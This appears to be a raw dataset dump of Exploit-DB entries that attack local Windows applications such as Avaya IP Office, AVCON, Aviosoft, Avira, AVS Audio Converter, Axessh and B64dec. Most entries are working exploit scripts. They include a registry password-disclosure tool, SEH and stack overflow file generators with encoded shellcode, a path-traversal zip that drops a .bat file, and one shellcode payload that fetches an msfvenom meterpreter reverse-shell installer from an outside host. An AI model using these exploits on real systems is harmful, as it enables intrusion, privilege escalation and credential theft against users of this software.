deardaniel/secdata-raw huggingface dataset:
Exploit-DB #839
Description: Avaya IP Office Phone Manager - Local Password Disclosure
Type: local
Platform: windows
Date: 2005-02-24
Author: Adrian _pagvac_ Pastor

Exploit:
#include <windows.h>
#include <stdio.h>
#include <string.h>

/*
               Filename:               exploit.c
               Title:          Avaya IP Office Phone Manager - Cleartext Sensitive Data Vulnerability Exploit v0.01
               Author:         pagvac (Adrian Pastor)
               Date:                   24th Feb, 2005
               Other info:             tested on version 2.013. Compile as a Win32 console application project in Visual C++
*/

BOOL QueryVal(char lszVal2Query[255], char lszValData[255])
{
    char lszResult[255];
    HKEY hKey;
    LONG returnStatus;
    DWORD dwType=REG_SZ;
    DWORD dwSize=255;
    returnStatus = RegOpenKeyEx(HKEY_LOCAL_MACHINE, "SOFTWARE\\AVAYA\\IP400\\GENERIC", 0L, KEY_READ, &hKey);

        if (returnStatus == ERROR_SUCCESS)
    {
                returnStatus = RegQueryValueEx(hKey, lszVal2Query, NULL, &dwType,(LPBYTE)&lszResult, &dwSize);
         if (returnStatus == ERROR_SUCCESS)
         {
                          strcpy(lszValData, lszResult);
         }
                 RegCloseKey(hKey);
                 return TRUE;
    }
        else
        {
                RegCloseKey(hKey);
                return FALSE;
    }
}

void main()
{
       char valData[255];

       printf("\nAvaya IP Office Phone Manager - Cleartext Sensitive Data Vulnerability Exploit\n");
       printf("By pagvac (Adrian Pastor)\n");
       printf("Tested on version 2.013\n\n");

       // Print username
       printf("Username:\t");
       if(!QueryVal("UserName", valData))
               printf("Error! No permissions to read key value?\n");
       else
               printf("%s\n", valData);

       // Print IP address
       printf("PBX IP Address:\t");
       if(!QueryVal("PBXAddress", valData))
               printf("Error! No permissions to read key value?\n");
       else
               printf("%s\n", valData);

       // Print password
       printf("Password:\t");
       if(!QueryVal("Password", valData))
               printf("Error! No permissions to read key value?\n");
       else
       {

               if(strcmp(valData, "")==0)
                       printf("[blank password]\n\n");
               else
               {
                       printf("%s\n", valData);
                       printf("Password obsfucated?\n\n");
               }
       }

}

// milw0rm.com [2005-02-24]
Exploit-DB #12528
Description: AVCON H323Call - Local Buffer Overflow
Type: local
Platform: windows
Date: 2010-05-07
Author: Dillon Beresford

Exploit:
#!/usr/bin/perl

# Exploit Title: AVCON H323Call Buffer Overflow
# Date: 5/9/10
# Author: Dillon Beresford 
# URL: http://www.avcon.com.cn/ 
# Versions: 4.6.8.7 | 4.6.4.0
# Tested on: XP SP2 and SP3
# CVE : NONE 
# Code : exploit.pl 
# Twitter: http://twitter.com/D1N
# Download: http://meeting.bjhr.gov.cn/avcon/avcon.exe
# Download: http://meeting.cei.gov.cn/avcon/avcon.exe

my $exploit = "poc.txt";

## EDB Test Notes:
## Software can be installed as English.  Once installed, go to "Start" -> "AVCON4" -> select H323 Call
## or just run "H323Call.exe" located inside installation folder, 
## copy and paste the exploit (string) to the input field (there's only one),
## and click on "call". (this is a different flaw in the software package affects H323Call).

my $junk = "\x41" x 1019;
my $nSEH = "\xeb\x08\x90\x90"; 
my $SEH = pack('V',0x1005FE29);
my $nops = "\x90" x 25;
# windows/exec - 218 bytes
# http://www.metasploit.com
# Encoder: x86/fnstenv_mov
# EXITFUNC=seh, CMD=calc
my $buf =
"\x6a\x31\x59\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xc4" .
"\xd2\xe5\x7b\x83\xeb\xfc\xe2\xf4\x38\x3a\x6c\x7b\xc4\xd2" .
"\x85\xf2\x21\xe3\x37\x1f\x4f\x80\xd5\xf0\x96\xde\x6e\x29" .
"\xd0\x59\x97\x53\xcb\x65\xaf\x5d\xf5\x2d\xd4\xbb\x68\xee" .
"\x84\x07\xc6\xfe\xc5\xba\x0b\xdf\xe4\xbc\x26\x22\xb7\x2c" .
"\x4f\x80\xf5\xf0\x86\xee\xe4\xab\x4f\x92\x9d\xfe\x04\xa6" .
"\xaf\x7a\x14\x82\x6e\x33\xdc\x59\xbd\x5b\xc5\x01\x06\x47" .
"\x8d\x59\xd1\xf0\xc5\x04\xd4\x84\xf5\x12\x49\xba\x0b\xdf" .
"\xe4\xbc\xfc\x32\x90\x8f\xc7\xaf\x1d\x40\xb9\xf6\x90\x99" .
"\x9c\x59\xbd\x5f\xc5\x01\x83\xf0\xc8\x99\x6e\x23\xd8\xd3" .
"\x36\xf0\xc0\x59\xe4\xab\x4d\x96\xc1\x5f\x9f\x89\x84\x22" .
"\x9e\x83\x1a\x9b\x9c\x8d\xbf\xf0\xd6\x39\x63\x26\xae\xd3" .
"\x68\xfe\x7d\xd2\xe5\x7b\x94\xba\xd4\xf0\xab\x55\x1a\xae" .
"\x7f\x2c\xeb\x49\x2e\xba\x43\xee\x79\x4f\x1a\xae\xf8\xd4" .
"\x99\x71\x44\x29\x05\x0e\xc1\x69\xa2\x68\xb6\xbd\x8f\x7b" .
"\x97\x2d\x30\x18\xa5\xbe\x86\x7b";
my $padding = "E" x 5000;
my $payload = $junk.$nSEH.$SEH.$nops.$buf.$padding;

open (myfile,">$exploit");
print myfile $payload;
close (myfile);
Exploit-DB #51583
Description: AVG Anti Spyware 7.5 - Unquoted Service Path _AVG Anti-Spyware Guard_
Type: local
Platform: windows
Date: 2023-07-11
Author: Idan Malihi

Exploit:
# Exploit Title: AVG Anti Spyware 7.5 - Unquoted Service Path
# Date: 06/07/2023
# Exploit Author: Idan Malihi
# Vendor Homepage: https://www.avg.com
# Software Link: https://www.avg.com/en-ww/homepage#pc
# Version: 7.5
# Tested on: Microsoft Windows 10 Pro
# CVE : CVE-2023-36167

#PoC

C:\Users>wmic service get name,pathname,displayname,startmode | findstr /i auto | findstr /i /v "C:\Windows\\" | findstr /i /v """
AVG Anti-Spyware Guard                                                              AVG Anti-Spyware Guard                    C:\Program Files (x86)\Grisoft\AVG Anti-Spyware 7.5\guard.exe                            Auto

C:\Users>sc qc "AVG Anti-Spyware Guard"
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: AVG Anti-Spyware Guard
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files (x86)\Grisoft\AVG Anti-Spyware 7.5\guard.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : AVG Anti-Spyware Guard
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem

C:\Users>systeminfo

Host Name:                 DESKTOP-LA7J17P
OS Name:                   Microsoft Windows 10 Pro
OS Version:                10.0.19042 N/A Build 19042
OS Manufacturer:           Microsoft Corporation
Exploit-DB #22932
Description: Aviosoft Digital TV Player Professional 1.x - '.PLF' Direct Retn
Type: local
Platform: windows
Date: 2012-11-26
Author: Nezim

Exploit:
# Exploit Title: Aviosoft Digital TV Player Professional 1.x (Direct Retn)
# Date: 11-25-2012
# Exploit Author: Nezim (@nezimlufni)
# Vendor Homepage: http://www.aviosoft.com/
# Version: Aviosoft Digital TV Player Professional 1.x
# Tested on: Windows XP SP3
# Reference  : http://www.exploit-db.com/exploits/18096/
# Thanks to : modpr0be , @ardynetral  
# Website : http://is2c-dojo.com

filename="video.PLF"

junk = "http://"+"\x90"*253
junk +="\x33\xBF\x96\x7C"
junk +="\x90" * 32
junk +=("\xdb\xdc\x2b\xc9\xb1\x51\xbb\x01\x5c\x8e\x27\xd9\x74\x24\xf4\x58"
"\x83\xc0\x04\x31\x58\x13\x03\x59\x4f\x6c\xd2\xa5\x05\x9b\x50\xbd"
"\x23\xa4\x94\xc2\xb4\xd0\x07\x18\x11\x6c\x92\x5c\xd2\x0e\x18\xe4"
"\xe5\x01\xa9\x5b\xfe\x56\xf1\x43\xff\x83\x47\x08\xcb\xd8\x59\xe0"
"\x05\x1f\xc0\x50\xe1\x5f\x87\xaf\x2b\x95\x65\xae\x69\xc1\x82\x8b"
"\x39\x32\x43\x9e\x24\xb1\xcc\x44\xa6\x2d\x94\x0f\xa4\xfa\xd2\x50"
"\xa9\xfd\x0f\x6d\xfd\x76\x46\x1d\xd9\x94\x38\x1e\x10\x7e\xde\x2b"
"\x10\xb0\x94\x6b\x9b\x3b\xda\x77\x0e\xb0\x5b\x8f\x0e\xaf\xd5\xc1"
"\xa0\xc3\xba\x22\x6a\x7d\x68\xba\xfb\xb1\xbc\x2a\x8b\xc6\xf2\xf5"
"\x27\xd6\x23\x61\x03\xc5\x38\x4a\xc3\xe9\x17\xf3\x6a\xf0\xfe\x8a"
"\x80\xf3\xfc\xd9\x30\x06\xfe\x31\xac\xdf\x09\x44\x80\xb7\xf6\x70"
"\x88\x64\x5a\x2f\x7c\xc8\x0f\x8c\xd1\x31\x7f\x74\xbe\xdc\xdc\x1e"
"\x6d\x56\x3d\x4b\xf9\xcc\xa4\x03\x3d\x5b\x26\x35\xab\x74\x89\xec"
"\xd3\xa5\x41\xaa\x81\x68\x7b\xe5\x26\xa2\x28\x5c\x26\x9b\xa7\xbb"
"\x91\x9a\x71\x14\xdd\x75\xd1\xce\x75\x2f\x2d\x3e\xe6\xa7\x36\xc7"
"\xcf\x41\xee\xc8\x06\xe4\xef\xe6\xc1\x6d\x74\x60\x66\x11\x19\xe5"
"\x93\xbf\xb1\xac\x72\x8c\xbb\xa9\xef\x48\x35\xd7\xc1\x90\xb6\xbd"
"\xdc\x53\x14\x3f\x62\x78\xf5\x32\x19\xb8\x52\xe7\x75\xd0\xd6\x09"
"\x3a\x37\xe8\x80\x79\xc7\xc0\x31\xd5\x65\xbc\x94\x88\xe3\x3f\x47"
"\x7a\xa1\x6e\x98\xac\x21\x3c\xbf\x48\x7c\x6d\xc0\x85\xea\x6d\xc1"
"\x1d\x14\x41\xb6\x35\x16\xe1\x0c\xdd\x19\x30\xde\xe1\x36\xd5\xa0"
"\xc5\x55\x55\x0f\x09\x4f\x65\x7f")
junk +="\x90" * (261-len(junk))
junk +="\CC" * (1000-len(junk))
exploitf = open(filename,"wb")
exploitf.write(junk)
exploitf.close()
print("Finish")
#Husnul Khatimah
Exploit-DB #40741
Description: Avira Antivirus 15.0.21.86 - '.zip' Directory Traversal / Command Execution
Type: local
Platform: windows
Date: 2016-11-08
Author: R-73eN

Exploit:
# Title :  Avira Antivirus >= 15.0.21.86 Command Execution (SYSTEM)
# Date : 08/11/2016
# Author : R-73eN
# Tested on: Avira Antivirus 15.0.21.86 in Windows 7
# Vendor : https://www.avira.com/
# Disclosure Timeline:
# 2016-06-28 - Reported to Vendor through Bugcrowd.
# 2016-06-29 - Vendor Replied.
# 2016-07-05 - Vendor Replicated the vulnerability.
# 2016-09-02 - Vendor released updated version which fix the vulnerability.
# 2016-11-08 - Public Disclosure
# I would like to thank Avira security team for the quick response. 
#
# Vulnerability Description:
# When the Avira Launcher manual update imports a zip file doesn't checks for " ../ " 
# characters which makes it possible to do a path traversal and write anywhere in the system.
# Vulnerability Replication
# 1. Create a special crafted zip file with the python script attached. 
# 2. The script will create a zip file named xvdf_fusebundle.zip with a filename test.bat (this can be changed) and will write this file to the root directory C:\ 
# 3. You can change the directory go to startup and when the user reboots the script will get executed or you can write a malicious dll to a program directory or 
#    system32 directory which will get loaded and we gain remote command execution. 
# 4. Open avira free antivirus 
# 5. Go to update -> Manual Update 
# 6. Select the malicious file 
# 7. Directory traversal was sucessfull
# Youtube Video: https://www.youtube.com/watch?v=IIEgWiDcw2Q
# POC: 

#!/usr/bin/python -w
banner = ""
banner += "  ___        __        ____                 _    _  \n" 
banner +=" |_ _|_ __  / _| ___  / ___| ___ _ __      / \  | |    \n"
banner +="  | || '_ \| |_ / _ \| |  _ / _ \ '_ \    / _ \ | |    \n"
banner +="  | || | | |  _| (_) | |_| |  __/ | | |  / ___ \| |___ \n"
banner +=" |___|_| |_|_|  \___/ \____|\___|_| |_| /_/   \_\_____|\n\n"
print banner

import zipfile, sys


if(len(sys.argv) != 2):
    print "[+] Usage : python exploit.py file_to_do_the_traversal [+]"
    print "[+] Example: python exploit.py test.txt"
    exit(0)
print "[+] Creating Zip File [+]"
zf = zipfile.ZipFile("xvdf_fusebundle.zip", "w")
zf.write(sys.argv[1], "..\\..\\..\\..\\..\\..\\..\\..\\test.bat")
zf.close()
print "[+] Created xvdf_fusebundle.zip successfully [+]"

# Fix:
# Update to the latest version.
Exploit-DB #29125
Description: Avira Internet Security - 'avipbb.sys' Filter Bypass / Privilege Escalation
Type: local
Platform: windows
Date: 2013-10-22
Author: Ahmad Moghimi

Exploit:
# Exploit Title: Avira internet security avipbb.sys filter bypass and
privilege escalation - 0Day
# Date: 2013-10-17
# Exploit Author: Ahmad Moghimi (http://mallocat.com
<http://mallocat.com/>, https://twitter.com/mall0cat)
# Vendor Homepage: http://www.avira.com/
# Software Link:
http://premium.avira-update.com/package/webloader/win32/iss/avira_internet_security_suite.exe
# Version: Latest
# Tested on: Windows XPSP3
# CVE : NO-CVE

Reference : http://mallocat.com/another-journey-to-antivirus-escalation/
Demo: http://mallocat.com/wp-content/uploads/2013/10/avira0.swf
Exploit code:
http://mallocat.com/wp-content/uploads/2013/10/AviraAvipbbExploit.7z
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/29125.7z
Exploit-DB #51090
Description: AVS Audio Converter 10.3 - Stack Overflow (SEH)
Type: local
Platform: windows
Date: 2023-03-27
Author: Yehia Elghaly

Exploit:
# Exploit Title: AVS Audio Converter 10.3 - Stack Overflow (SEH)
# Discovered by: Yehia Elghaly - Mrvar0x
# Discovered Date: 2022-10-16
# Tested Version: 10.3.1.633
# Tested on OS: Windows 7 Professional x86

#pop+ret Address=005154E6
#Message=  0x005154e6 : pop ecx # pop ebp # ret 0x04 | startnull {PAGE_EXECUTE_READ} [AVSAudioConverter.exe] 
#ASLR: False, Rebase: False, SafeSEH: False, OS: False, v10.3.1.633 (C:\Program Files\AVS4YOU\AVSAudioConverter\AVSAudioConverter.exe)

# The only module that has SafeSEH disabled.
# Base       | Top        | Rebase | SafeSEH | ASLR  | NXCompat | OS Dll | 
# 0x00400000 | 0x01003000 | False  | False   | False |  False   | False  |

#Allocating 4-bytes for nSEH which should be placed directly before SEH which also takes up 4-bytes.

#Buffer  = '\x41'* 260
#nSEH    = '\x42'*4
#SEH     = '\x43'*4
#ESI     = 'D*44' # ESI Overwrite 

#buffer = "A"*260 + [nSEH] + [SEH] + "D"*44
#buffer = "A"*260 + "B"*4 + "\xE6\x54\x51\x05" + "D"*44


# Rexploit:
# Generate the 'evil.txt' payload using python 2.7.x on Linux.
# Open the file 'evil.txt' Copy.
# Paste at'Output Folder and click 'Browse'.

#!/usr/bin/python -w
  
filename="evil.txt"
 
buffer = "A"*260 + "B"*4 + "C"*4 + "D"*44
  
textfile = open(filename , 'w')
textfile.write(buffer)
textfile.close()
Exploit-DB #47788
Description: AVS Audio Converter 9.1 - 'Exit folder' Buffer Overflow
Type: local
Platform: windows
Date: 2019-12-18
Author: ZwX

Exploit:
# Exploit Title: AVS Audio Converter 9.1 - 'Exit folder' Buffer Overflow
# Exploit Author : ZwX
# Exploit Date: 2019-12-17
# Vendor Homepage : http://www.avs4you.com/
# Link Software : http://www.avs4you.com/avs-audio-converter.aspx
# Tested on OS: Windows 7

'''
Technical Details & Description:
================================
A local buffer overflow vulnerability has been discovered in tihe official AVS Audio Converter. 
The vulnerability allows local attackers to overwrite the registers (example eip) to compromise the local software process. 
The issue can be exploited by local attackers with system privileges to compromise the affected local computer system. 
The vulnerability is marked as classic buffer overflow issue.


Analyze Registers:
==================
(1e74.1b78): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=00000000 ecx=42424242 edx=778c6d1d esi=00000000 edi=00000000
eip=42424242 esp=0012f098 ebp=0012f0b8 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00210246
42424242 ??              ???
0:000> !exchain
0012f0ac: ntdll!ExecuteHandler2+3a (778c6d1d)
0012fa30: 42424242
Invalid exception stack at 41414141


Note: EIP & ECX  overwritten


Proof of Concept (PoC):
=======================
1.Download and install AVS Audio Converter
2.Open the AVS Audio Converter 
3.Run the python operating script that will create a file (poc.txt)
4.copy and paste the characters found in the file (poc.txt) in the field "Exit folder"
5.Click on browse
6.EIP overwritten
'''

#!/usr/bin/python

buffer = "\x41" * 264
a = "\x42" * 4
b = "\x43" * 1000

poc = buffer + a + b 
file = open("poc.txt","w")
file.write(poc)
file.close()
 
print "POC Created by ZwX"
Exploit-DB #46922
Description: Axessh 4.2 - 'Log file name' Local Stack-based Buffer Overflow
Type: local
Platform: windows
Date: 2019-05-24
Author: Uday Mittal

Exploit:
# Title: Axessh 4.2 - 'Log file name'  Local Stack-based Buffer Overflow
# Date: May 23rd, 2019
# Author: Uday Mittal (https://github.com/yaksas443/YaksasCSC-Lab/)
# Vendor Homepage: http://www.labf.com
# Software Link: http://www.labf.com/download/axessh.exe
# Version v4.2
# Tested on: Windows 7 SP1 EN (x86)
# Reference: https://www.exploit-db.com/exploits/46858

# TO RUN:
# 0. Setup a multi/handler listener
# 1. Run python script
# 2. Copy contents of axssh.txt
# 3. Open telnet_S.exe
# 4. Select Details >> Settings >> Logging
# 5. Select Log all Session Output radio button
# 6. Paste the contents in Log file name
# 7. Press "OK"
# 8. Press "OK"

# EIP offset: 214
# 0x050e3f04 : push esp # ret  | ascii {PAGE_EXECUTE_READ} [ctl3d32.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: True, v2.31.000 (C:\Windows\system32\ctl3d32.dll)


#77da395c - Address of LoadLibraryA() for Windows 7 SPI x86
#777db16f - Address of system() for Windows 7 SPI x86
#77da214f - Address of ExitProcess for Windows 7 SPI x86

# Shellcode Reference: https://www.exploit-db.com/shellcodes/46281
# Payload command command: msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.126.163 LPORT=4444 EXITFUNC=seh -f msi > /var/www/html/ms.msi
# When the payload runs, it floods the system with Command windows and sends back a meterpreter shell. The shell does not die even if the user closes the application.


filename = "axssh.txt"

msiScode = "\x31\xc0\x66\xb8\x72\x74\x50\x68\x6d\x73\x76\x63\x54\xbb\x5c\x39\xda\x77\xff\xd3\x89\xc5\x31\xc0\x50\x68\x20\x2f\x71\x6e\x68\x2e\x6d\x73\x69\x68\x33\x2f\x6d\x73\x68\x36\x2e\x31\x36\x68\x38\x2e\x31\x32\x68\x32\x2e\x31\x36\x68\x2f\x2f\x31\x39\x68\x74\x74\x70\x3a\x68\x2f\x69\x20\x68\x68\x78\x65\x63\x20\x68\x6d\x73\x69\x65\x89\xe7\x57\xb8\x6f\xb1\x7d\x77\xff\xd0\x31\xc0\x50\xb8\x4f\x21\xda\x77"

evilString = "\x90" * 110 + msiScode + "\x90" * 6 + "\x04\x3f\x0e\x05" + "\x90"*4 + "\x89\xE0\x83\xE8\x7F\x89\xC4\xEB\x81" + "\x90" * 800

file = open(filename,'w')
file.write(evilString)
file.close()
Exploit-DB #48317
Description: B64dec 1.1.2 - Buffer Overflow (SEH Overflow + EggHunter)
Type: local
Platform: windows
Date: 2020-04-14
Author: Andy Bowden

Exploit:
# Exploit Title: B64dec 1.1.2 - Buffer Overflow (SEH Overflow + Egg Hunter)
# Date: 2020-04-13
# Exploit Author: Andy Bowden
# Vendor Homepage: http://4mhz.de/b64dec.html
# Software Link: http://4mhz.de/download.php?file=b64dec-1-1-2.zip
# Version: Base64 Decoder 1.1.2
# Tested on: Windows 10 x86

#Instructions:
# Run the script to create the Crash.txt file. Copy the contents of the file and paste them into the search box and then click decode. 

f = open("crash.txt", "wb")

padding1   = b"ERCDERCD" 
padding1  += b"\x90" * 100

# msfvenom -a x86 -p windows/exec -e x86/shikata_ga_nai -b '\x00\x0a\x0d'
# cmd=calc.exe exitfunc=thread -f python
payload =  b""
payload += b"\xdb\xce\xbf\x90\x28\x2f\x09\xd9\x74\x24\xf4\x5d\x29"
payload += b"\xc9\xb1\x31\x31\x7d\x18\x83\xc5\x04\x03\x7d\x84\xca"
payload += b"\xda\xf5\x4c\x88\x25\x06\x8c\xed\xac\xe3\xbd\x2d\xca"
payload += b"\x60\xed\x9d\x98\x25\x01\x55\xcc\xdd\x92\x1b\xd9\xd2"
payload += b"\x13\x91\x3f\xdc\xa4\x8a\x7c\x7f\x26\xd1\x50\x5f\x17"
payload += b"\x1a\xa5\x9e\x50\x47\x44\xf2\x09\x03\xfb\xe3\x3e\x59"
payload += b"\xc0\x88\x0c\x4f\x40\x6c\xc4\x6e\x61\x23\x5f\x29\xa1"
payload += b"\xc5\x8c\x41\xe8\xdd\xd1\x6c\xa2\x56\x21\x1a\x35\xbf"
payload += b"\x78\xe3\x9a\xfe\xb5\x16\xe2\xc7\x71\xc9\x91\x31\x82"
payload += b"\x74\xa2\x85\xf9\xa2\x27\x1e\x59\x20\x9f\xfa\x58\xe5"
payload += b"\x46\x88\x56\x42\x0c\xd6\x7a\x55\xc1\x6c\x86\xde\xe4"
payload += b"\xa2\x0f\xa4\xc2\x66\x54\x7e\x6a\x3e\x30\xd1\x93\x20"
payload += b"\x9b\x8e\x31\x2a\x31\xda\x4b\x71\x5f\x1d\xd9\x0f\x2d"
payload += b"\x1d\xe1\x0f\x01\x76\xd0\x84\xce\x01\xed\x4e\xab\xee"
payload += b"\x0f\x5b\xc1\x86\x89\x0e\x68\xcb\x29\xe5\xae\xf2\xa9"
payload += b"\x0c\x4e\x01\xb1\x64\x4b\x4d\x75\x94\x21\xde\x10\x9a"
payload += b"\x96\xdf\x30\xf9\x79\x4c\xd8\xd0\x1c\xf4\x7b\x2d"

egghunter  = b"\x8B\xFD"                # mov edi,ebp
egghunter += b"\xB8\x45\x52\x43\x44"    # mov eax,45525344 ERCD                       
egghunter += b"\x47"                    # inc edi                                                                 
egghunter += b"\x39\x07"                # cmp dword ptr ds:[edi],eax                                  
egghunter += b"\x75\xFB"                # jne                             
egghunter += b"\x39\x07"                # cmp dword ptr ds:[edi],eax                                  
egghunter += b"\x75\xF7"                # jne        
egghunter += b"\xFF\xE7"                # jmp edi

buf = padding1 + payload 
buf += b"\x90" * (580 - len(padding1 + payload))
buf += egghunter
buf += b"\x90" * (620 - len(buf))
buf += b"\x90\x90\xEB\xCE"
buf += b"\x86\x1e\x40" #00401e86

f.write(buf)
f.close()
Exploit-DB #48726
Description: BacklinkSpeed 2.4 - Buffer Overflow PoC (SEH)
Type: local
Platform: windows
Date: 2020-08-03
Author: Saeed reza Zamanian

Exploit:
# Exploit Title: BacklinkSpeed 2.4 - Buffer Overflow PoC (SEH)
# Date: 2020-08-01
# Exploit Author: Saeed reza Zamanian
# Vendor Homepage: http://www.dummysoftware.com
# Software Link: http://www.dummysoftware.com/backlinkspeed.html
# Version: 2.4
# Tested on: 
	Windows 10.0 x64 Build 10240
	Windows 7 x64
	Windows Vista x32 SP1
# Replicate Crash:
  1) Install and Run the application
  2) Run the exploit , the exploit create a text file named payload.txt
  3) Press import button and open payload.txt
  
#!/usr/bin/python
'''

	|----------------------------------|
	| SEH chain of thread 00000350	   |
	| Address    SE handler		   |
	| 42424242   *** CORRUPT ENTRY *** |
	|				   |
	| EIP : 43434343		   |
	|----------------------------------|
'''

nSEH = "BBBB"
SEH = "CCCC"
payload = "A"*5000+nSEH+"\x90\x90\x90\x90\x90\x90\x90\x90"+SEH

try:

    f=open("payload.txt","w")

    print("[+] Creating %s bytes payload." %len(payload))

    f.write(payload)

    f.close()

    print("[+] File created!")

except:

    print("File cannot be created.")
Exploit-DB #49966
Description: Backup Key Recovery 2.2.7 - Denial of Service (PoC)
Type: local
Platform: windows
Date: 2021-06-08
Author: Erick Galindo

Exploit:
# Exploit Title: Backup Key Recovery 2.2.7 - Denial of Service (PoC)
# Date: 07/06/2021
# Author: Erick Galindo 
# Vendor Homepage: http://www.nsauditor.com
# Software http://www.nsauditor.com/downloads/backeyrecovery_setup.exe
# Version: 2.2.7.0
# Tested on: Windows 10 Pro x64 es

# Proof of Concept:
#1.- Copy printed "AAAAA..." string to clipboard!
#2.- Open BackupKeyRecovery.exe
#3.- Go to Register > Enter Registration Code...
#4.- Write anything in 'Name' field
#5.- Paste clipboard in 'Key' field
#6.- Click on button -> Ok

buffer = "\x41" * 256

f = open ("poc.txt", "w")
f.write(buffer)
f.close()